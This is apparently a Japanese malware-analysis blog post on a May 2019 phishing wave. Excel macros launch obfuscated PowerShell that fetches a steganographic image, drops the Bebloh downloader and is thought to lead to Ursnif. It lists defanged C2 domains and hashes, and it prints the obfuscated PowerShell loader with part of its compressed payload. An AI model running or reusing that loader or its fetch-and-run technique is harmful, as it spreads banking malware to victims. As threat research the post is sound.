2019/05/07(火) 添付ファイル付不審メールの調査

2019/05/07(火) にばらまかれた不審メールの調査について調査しましたのでブログに記載します。
※何か解析結果アップデートがありましたら、新規記事かこちらのページへ追記しようと思います。

<不審メール情報>
◾️文面
以下のリンクから確認することが出来ます。
https://www.cc.uec.ac.jp/blogs/news/2019/05/201905071615malwaremail.html

◾️件名
(有償)注文書
FW:(通知)
RE: 通関
【訂正版】
建材発注書です
転送された画像 - From:
【2019年5月】請求額のご連絡

◾️添付ファイル
xxxxx2019年5月.xls
※xxxxxは数字5桁
https://app.any.run/tasks/868d2631-fe21-4a13-9b73-35f39d4c2fbd

xxxxx.XLS
※xxxxxは数字5桁
https://app.any.run/tasks/3b5dc859-7c08-4111-b398-9fa0667c4bfe

<プロセスの動き(概要)>
Excel.exe → Wmic.exe→Powershell.exe → powershell.exe → explorer.exeとなります。
ExcelマクロからPowerShellが実行され、Stegano(Bebloh)を経由してUrsnifに感染すると推測されます。
※今回調査した解析環境では、Ursnifの感染までは確認出来ませんでした。

f:id:bankingmalware:20190508130224p:plain



 <エクセルファイル>
今回、添付されていたエクセルは以下の画像のもので、編集を有効にした際にマクロが実行されます。

f:id:bankingmalware:20190508021207p:plain

マクロ実行後、以下の様な難読化されたPowerShellが実行されます。

PowerShellの挙動>
Excelのマクロを経由し実行されるPowerShellは難読化された状態となっています。
powerShEll -W 1 -ExECutI BYPASS -nOPrOF -NOniNteR iex("\" .( `$SHeLlID[1]+`$SHelLiD[13]+'X') ( NEW-ObjEct IO.streamReAdeR*1.REaDtOEnd() "\")

難読化の内容までは解読できていませんが、外部の画像ファイル(hxxps://images2[.]imgbox.com/1b/a6/9pJo30dK_o [.]png)を取得しています。

f:id:bankingmalware:20190508141508p:plain

※取得している画像ファイル

読み取った画像から ダウンローダマルウェアのbeblohのDLLファイルを作成し、ExplorerへDLLインジェクションしたと思われます。

DLLインジェクションですが、Windows Defenderのリアルタイム保護を有効にしている場合、スクリプトの途中で怪しいスクリプトと認識され、PowerShellの実行が停止し、Beblohの感染を防げることを確認しています(実際にExploererへインジェクションした様子もありませんでした)。
Windows Defenderを有効にしておくことで感染を防止することが可能です。

BeblohへのC2(hxxps://donersonma[.]com)宛への通信は発生しましたが、Ursnifへ感染こちらの環境では感染を確認することができませんでした。

<通信先>
・添付ファイルハッシュ値
SHA256
5CB85D5BC7BC3EB44C747915F1B26A8BD923D32A5290424EECCB64E750B0FBE9
SHA1
C837EF21F2D0AC10078E3DF1099B530D318E246C
MD5
498382FDC72DD468F1E4E5E3417F943E

ステガノグラフィ
hxxps://images2.imgbox[.]com/1b/a6/9pJo30dK_o[.]png
hxxps://i.imgur[.]com/47xDq9v[.]png

Bebloh C2
hxxps://donersonma[.]com
Ursnif C2
hxxps://lidersonef[.]com/images/~

以上となります。

*1:NEW-ObjEct systEM.Io.cOMpRESSioN.DeFlAtESTreAM( [Io.MemoRySTREAM][SYstem.ConVert]::fROmBASe64STrING( 'PZpdi+7IdYX/SgsczhlsDVWl+gi+C8GKL4ax8QwGaRhykRikYGywJQgo+e9ez9pqwzRn
~省略~

WlrGf471hgCsdvksUirCfz6Oqy50WLpms4spcWZDvl7b70odvIM6+56Y16tirmGj+8u0Pv//u/PHrx5dpW+f7uJ79/PLxzcf//cvz8fWn/zr+7W8/f/346d//+v0f//SH6+df//rH351/+TH3r9zI/s9vr9/9cP3h/P4/vn7zzcev/lVf07//zz8f/wA=') "\" + ([Char]44).TOSTRiNg() +"\" [iO.COmprESsiON.ComprEsSiONmODE]::dECoMprESS ) )"\" + ([Char]44).TOSTRiNg() +"\"[SYSTem.tEXt.EnCodiNG]::AsCii